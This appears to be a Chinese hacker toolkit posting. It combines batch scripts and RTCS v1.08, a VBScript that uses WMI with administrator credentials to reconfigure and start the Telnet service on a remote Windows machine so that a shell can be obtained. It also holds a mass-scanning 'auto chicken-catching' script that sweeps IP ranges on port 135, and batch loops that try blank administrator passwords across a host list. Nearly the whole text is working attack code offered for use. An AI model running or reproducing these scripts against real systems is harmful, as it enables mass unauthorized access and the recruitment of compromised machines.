for /f "delims= " %%i in (nt.txt) do del %%i.bat for /f "delims= " %%i in (nt.txt) do echo goto start>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo :start>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo cscript rtcs.vbe %%i administrator "" 1 23^|find "shell">>%%i.bat for /f "delims= " %%i in (nt.txt) do echo if errorlevel=1 goto b>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo if errorlevel=0 goto d>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo :d>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo SecureCRT.EXE %%i&goto exit>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo :b>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo cscript rtcs.vbe %%i administrator "" 1 23^|find "error">>%%i.bat for /f "delims= " %%i in (nt.txt) do echo if errorlevel=1 goto start>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo if errorlevel=0 goto exit>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo :exit>>%%i.bat for /f "delims= " %%i in (nt.txt) do echo exit>>%%i.bat for /f "delims= " %%i in (nt.txt) do start %%i.bat exit
on error resume next if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<5 then usage() wscript.echo "Not enough parameters." wscript.quit end if
ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) ntlm=wscript.arguments(3) port=wscript.arguments(4) if password=chr(34)&chr(34) then password=NULL if ntlm<0 or ntlm>2 then usage() wscript.echo "The value of NTML is wrong." wscript.quit end if
usage() wscript.echo "Conneting "&ipaddress&"...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password) showerror(err.number)
wscript.echo "Setting NTLM="&ntlm&"...." set objinstance=objswbemservices.get("stdregprov") set objmethod=objinstance.methods_("SetDWORDvalue") set objinparam=objmethod.inparameters.spawninstance_() objinparam.hdefkey=&h80000002 objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0" objinparam.svaluename="NTLM" objinparam.uvalue=ntlm set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue)
wscript.echo "Setting port="&port&"...." objinparam.svaluename="TelnetPort" objinparam.uvalue=port set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue)
wscript.echo "Querying state of telnet server...." set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password) set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'") for each objinstance in colinstances if objinstance.startmode="Disabled" then wscript.echo "Telnet server has been disabled. Now changeing start mode to manual...." set objmethod=objinstance.methods_("changestartmode") set objinparam=objmethod.inparameters.spawninstance_() objinparam.startmode="Manual" set objoutparam=objinstance.execmethod_("changestartmode",objinparam) showerror(objoutparam.returnvalue) end if wscript.echo "Changeing state...." if objinstance.started=true then intstatus=objinstance.stopservice() showerror(intstatus) wscript.echo "Target telnet server has been STOP Successfully." else intstatus=objinstance.startservice() showerror(intstatus) wscript.echo "Target telnet server has been START Successfully!" wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell." end if next
function showerror(errornumber) if errornumber<>0 then wscript.echo "Error!" wscript.quit else wscript.echo "OK!" end if end function
function usage() wscript.echo "************************************************************************" wscript.echo "RTCS v1.08" wscript.echo "Remote Telnet Configure Script, by zzzevazzz" wscript.echo "Welcome to visite www.isgrey.com" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport" wscript.echo "It will auto change state of target telnet server." wscript.echo "************************************************************************" end function
setlocal cls color A title 自动抓鸡v1.0 echo ====================================================== echo 自动抓鸡v1.0 echo 作者：hurrytigar echo QQ:30144942 echo emil:hurrytigar@163.com echo hacked by hurrytigar echo ====================================================== del result.txt del s.txt for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s tcp %%i %%j 135 1000 /save for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>s.txt del s1.txt del s2.txt del Result.txt
扫描那行的FOR循环 for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s tcp %%i %%j 135 1000 /save 意思是说 从ip.txt中对每行以空格分割 然后取得分割后的第一部分和第二部分字符
